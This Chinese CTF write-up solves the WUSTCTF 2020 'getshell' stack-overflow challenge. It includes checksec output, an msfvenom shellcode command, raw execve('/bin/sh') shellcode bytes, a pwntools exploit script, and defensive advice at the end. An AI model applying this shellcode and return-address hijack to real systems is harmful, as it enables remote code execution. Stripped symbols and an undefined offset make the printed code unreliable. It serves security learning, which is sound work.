1. 题目背景与核心漏洞分析这道来自WUSTCTF 2020的pwn题被收录在BUUCTF平台中考察的是经典的栈溢出漏洞利用。题目名为getshell已经明确提示了最终目标——通过栈溢出获取目标系统的shell控制权。这类题型在CTF比赛中属于基础题型但包含了许多值得深入分析的技巧点。栈溢出漏洞的本质是程序没有对用户输入的长度进行严格校验导致数据覆盖了函数调用栈中的返回地址。在x86架构下当函数执行ret指令时处理器会从栈顶弹出返回地址到EIP寄存器。如果我们能精确控制这个返回地址就能劫持程序执行流。2. 环境准备与初步侦查首先需要配置好分析环境# 安装必要工具 sudo apt install gdb peda checksec # 下载题目文件 wget https://buuoj.cn/files/xxxxxxxx/wustctf2020_getshell chmod x wustctf2020_getshell使用checksec检查程序保护机制checksec ./wustctf2020_getshell典型输出可能显示Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)关键信息32位程序没有栈保护Canary没有NX保护栈可执行没有地址随机化PIE这种保护机制组合意味着我们可以直接在栈上布置shellcode并通过覆盖返回地址跳转到栈上执行。3. 逆向分析与漏洞定位使用IDA Pro或Ghidra分析程序重点关注以下函数存在危险函数调用如gets, strcpy等缓冲区大小与输入长度的关系是否存在后门函数或现成的system调用在本题中通常会找到一个类似如下的脆弱函数void vulnerable_function() { char buffer[64]; gets(buffer); // 危险函数不检查输入长度 }通过计算可知buffer起始地址到返回地址的偏移量 缓冲区大小(64) EBP(4) 68字节我们需要构造的payload结构[填充68字节] [返回地址] [shellcode]4. 漏洞利用开发4.1 确定偏移量虽然通过静态分析可以计算出理论偏移量但实际环境中建议使用cyclic模式验证from pwn import * p process(./wustctf2020_getshell) payload cyclic(100) p.sendline(payload) p.wait() # 查看崩溃时EIP的值 eip p.corefile.eip offset cyclic_find(eip)4.2 获取shellcode由于NX保护关闭我们可以使用经典的execve(/bin/sh)的shellcode# 生成shellcode msfvenom -p linux/x86/exec -f python --var-name shellcode CMD/bin/sh输出示例shellcode b shellcode b\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 shellcode b\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x804.3 构造完整payload结合前面信息构造利用代码from pwn import * context(archi386, oslinux) # 连接方式 if args.REMOTE: p remote(node4.buuoj.cn, 12345) else: p process(./wustctf2020_getshell) # 关键地址 ret_addr 0xffffd000 # 需要根据实际调试确定 # shellcode shellcode ( b\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 b\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 ) # 构造payload payload flat( bA * offset, p32(ret_addr), shellcode ) p.sendline(payload) p.interactive()5. 动态调试技巧在实际利用过程中有几个关键调试技巧确定栈地址gdb ./wustctf2020_getshell b *vulnerable_function25 # 在ret指令前断点 r $(python -c print A*72) x/20wx $esp处理地址中的坏字符如果遇到00等坏字符需要调整shellcode或使用编码技术可以使用msfvenom的编码功能-e x86/alpha_mixed应对小缓冲区情况当缓冲区太小时可以采用返回libc技术或者使用多阶段payload先读入大shellcode到可写内存6. 常见问题与解决方案6.1 段错误但偏移计算正确可能原因栈地址不准确存在坏字符截断payload解决方案使用gdb动态调试确定准确栈地址检查shellcode是否包含\x00等坏字符6.2 本地成功但远程失败可能原因环境差异导致栈地址变化远程有额外限制解决方案使用NOP sled增加容错性尝试多次爆破栈地址6.3 程序有ASLR保护虽然本题没有但遇到时的解决方案泄露libc地址计算基址使用ROP技术构造调用链7. 防御措施与安全启示从防御角度开发者应该永远不使用gets等危险函数启用所有保护机制Canary, NX, PIE等使用安全的字符串处理函数snprintf等进行严格的输入验证对于安全学习者这道题展示了栈溢出基本原理shellcode构造技术动态调试方法漏洞利用的完整流程通过这道基础题目的练习可以掌握pwn类题目的基本分析方法为后续更复杂的漏洞利用打下坚实基础。建议在掌握基础后尝试挑战开启了更多保护机制的题目如同时存在NX和ASLR的情况。